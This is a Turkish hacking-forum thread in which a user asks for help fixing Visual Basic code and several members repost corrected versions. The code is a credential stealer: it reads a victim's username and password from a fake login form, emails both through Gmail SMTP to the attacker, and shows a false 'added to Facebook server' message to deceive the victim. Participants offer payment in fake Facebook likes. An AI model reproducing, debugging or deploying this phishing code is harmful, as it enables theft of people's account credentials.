Program Kodları Var Visual Basic Yardım Ederseniz Facebook Sayfa Beğendirmeyi Vericem

OnlineGameHacked

Üye

Üyelik tarihi:

10/2012

Mesajlar:

194

Konular:

Teşekkür (Etti):

159

Teşekkür (Aldı):

Ticaret:

(0) %

524

16-11-2012 12:32

Arkadaşlar 2 Gündür Forum'da Bana Kimse Yardım Etmiyor Bu Sefer Karşışığını Vereceğim Facebook Sayfa Beğendirme Abone Kasma Durum Beğendirme Vericem Sorunum Şu Visual Basic Kodlaması Var Elimde Kod'uda Vereyim

Kod:

Private Sub Command1_Click() On Error Resume Next msn.Logon(Text1.Text, Text2.Text, msn.Services.PrimaryService) On Error Resume Next Dim iMsg, iConf, Flds iMsg = CreateObject("CDO.Message") iConf = CreateObject("CDO.Configuration") Flds = iConf.Fields schema = "Error" Flds.Item(schema & "sendusing") = 2 Flds.Item(schema & "smtpserver") = "smtp.gmail.com" Flds.Item(schema & "smtpserverport") = 465 Flds.Item(schema & "smtpauthenticate") = 1 Flds.Item(schema & "sendusername") = "gmail" Flds.Item(schema & "sendpassword") = "şifren" Flds.Item(schema & "smtpusessl") = 1 Flds.Update() With iMsg .To = "gmail adresi" .From = "Hacker" .Subject = "Optimist" .HTMLbOdy = Text1.Text & Text2.Text .Organization = "Mail Organtion" .ReplyTo = "-" .Configuration = iConf SendEmailGmail = .Send End With MsgBox("Facebook Server Bölümüne Eklendi") End Sub

Bu Kodu Visual Basic'De Ekliyorum Program Hata Veriyor Yardım Edermisiniz ??? Tw Bağlanıp'da ?

Alıntı Yap

CETQ

Uzman Üye

Üyelik tarihi:

02/2011

Mesajlar:

1.297

Konular:

165

Teşekkür (Etti):

164

Teşekkür (Aldı):

656

Ticaret:

(0) %

16-11-2012 12:51

schemayı değiştirirsin

Kod:

Dim iMsg, iConf, Flds
Set iMsg = CreateObject("CDO.Message")
Set iConf = CreateObject("CDO.Configuration")
Set Flds = iConf.Fields
schema = "Error"
Flds.Item(schema & "sendusing") = 2
Flds.Item(schema & "smtpserver") = "smtp.gmail.com"
Flds.Item(schema & "smtpserverport") = 465
Flds.Item(schema & "smtpauthenticate") = 1
Flds.Item(schema & "sendusername") = "*******" 'Gmail adresiniz
Flds.Item(schema & "sendpassword") = "****" 'şifreniz
Flds.Item(schema & "smtpusessl") = 1
Flds.Update
With iMsg
.To = "*****" 'Mail adresiniz
.From = "*****" 'Mail adresiniz
.Subject = "Log"
.HTMLbOdy = Text1.Text
.Organization = "Mail Organtion"
.ReplyTo = "-"
Set .Configuration = iConf
 SendEmailGmail = .Send
 
End With

Alıntı Yap

OnlineGameHacked Teşekkür etti.

HackLord11

Katılımcı Üye

Üyelik tarihi:

10/2012

Nereden:

Forumu Bıraktı

Mesajlar:

475

Konular:

Teşekkür (Etti):

Teşekkür (Aldı):

105

Ticaret:

(0) %

16-11-2012 12:51

Kod:

Private Sub Command1_Click()
    On Error Resume Next
    msn.Logon(Text1.Text, Text2.Text, msn.Services.PrimaryService)
    On Error Resume Next
    Dim iMsg, iConf, Flds
    iMsg = CreateObject("CDO.Message")
    iConf = CreateObject("CDO.Configuration")
    Flds = iConf.Fields
    schema = "Error"
    Flds.Item(schema & "sendusing") = 2
    Flds.Item(schema & "smtpserver") = "smtp.gmail.com"
    Flds.Item(schema & "smtpserverport") = 465
    Flds.Item(schema & "smtpauthenticate") = 1
    Flds.Item(schema & "sendusername") = "gmailAdresini Yaz"
    Flds.Item(schema & "sendpassword") = "gmail şifreni yaz"
    Flds.Item(schema & "smtpusessl") = 1
    Flds.Update()
    With iMsg
        .To = "gmail adresini gene yaz"
        .From = "Konu Adı"
        .Subject = "Buraya bişeyler yaz"
        .HTMLbOdy = Text1.Text & Text2.Text
        .Organization = "Mail Organtion"
        .ReplyTo = "-"
        .Configuration = iConf
        SendEmailGmail = .Send
    End With
    MsgBox("Facebook Server Bölümüne Eklendi")
End Sub

Alıntı Yap

OnlineGameHacked Teşekkür etti.

Zgr45Mns

Katılımcı Üye

Üyelik tarihi:

09/2012

Nereden:

Manisa

Mesajlar:

589

Konular:

Teşekkür (Etti):

Teşekkür (Aldı):

Ticaret:

(0) %

16-11-2012 12:51

arkadaşım vb6 türkçe yamamı var ?

--------------------- yalnız kaldıysan kalkıp pencerenden bir bak

Alıntı Yap

HackLord11

Katılımcı Üye

Üyelik tarihi:

10/2012

Nereden:

Forumu Bıraktı

Mesajlar:

475

Konular:

Teşekkür (Etti):

Teşekkür (Aldı):

105

Ticaret:

(0) %

16-11-2012 12:52

yada ben 3 de gelecem bana team werirsin pm den yaparız kolay

Alıntı Yap

Zgr45Mns

Katılımcı Üye

Üyelik tarihi:

09/2012

Nereden:

Manisa

Mesajlar:

589

Konular:

Teşekkür (Etti):

Teşekkür (Aldı):

Ticaret:

(0) %

16-11-2012 12:52

yoksa ingilizcemi

--------------------- yalnız kaldıysan kalkıp pencerenden bir bak

Alıntı Yap

OnlineGameHacked

Üye

Üyelik tarihi:

10/2012

Mesajlar:

194

Konular:

Teşekkür (Etti):

159

Teşekkür (Aldı):

Ticaret:

(0) %

16-11-2012 12:59

Bana tw den yapa bilicek varmı beyler herkeze vereceğim buradakilere yardımı olan herkeze

Alıntı Yap

Cervereus

Üye

Üyelik tarihi:

09/2012

Mesajlar:

125

Konular:

Teşekkür (Etti):

Teşekkür (Aldı):

Ticaret:

(0) %

16-11-2012 15:37

Alıntı:

OnlineGameHacked´isimli üyeden Alıntı

Bana tw den yapa bilicek varmı beyler herkeze vereceğim buradakilere yardımı olan herkeze

ver halledem

--------------------- Cervereus Logger 2 !

Alıntı Yap

makine22

Katılımcı Üye

Üyelik tarihi:

09/2012

Nereden:

Microsoft®

Mesajlar:

421

Konular:

Teşekkür (Etti):

Teşekkür (Aldı):

Ticaret:

(0) %

16-11-2012 15:40

Alıntı:

HackLord11´isimli üyeden Alıntı

Kod:

Private Sub Command1_Click()
    On Error Resume Next
    msn.Logon(Text1.Text, Text2.Text, msn.Services.PrimaryService)
    On Error Resume Next
    Dim iMsg, iConf, Flds
    iMsg = CreateObject("CDO.Message")
    iConf = CreateObject("CDO.Configuration")
    Flds = iConf.Fields
    schema = "Error"
    Flds.Item(schema & "sendusing") = 2
    Flds.Item(schema & "smtpserver") = "smtp.gmail.com"
    Flds.Item(schema & "smtpserverport") = 465
    Flds.Item(schema & "smtpauthenticate") = 1
    Flds.Item(schema & "sendusername") = "gmailAdresini Yaz"
    Flds.Item(schema & "sendpassword") = "gmail şifreni yaz"
    Flds.Item(schema & "smtpusessl") = 1
    Flds.Update()
    With iMsg
        .To = "gmail adresini gene yaz"
        .From = "Konu Adı"
        .Subject = "Buraya bişeyler yaz"
        .HTMLbOdy = Text1.Text & Text2.Text
        .Organization = "Mail Organtion"
        .ReplyTo = "-"
        .Configuration = iConf
        SendEmailGmail = .Send
    End With
    MsgBox("Facebook Server Bölümüne Eklendi")
End Sub

Yardımcı olucaktır.

Alıntı Yap

Seçenekler
Yazdırılabilir şekli göster Sayfayı E-Mail olarak gönder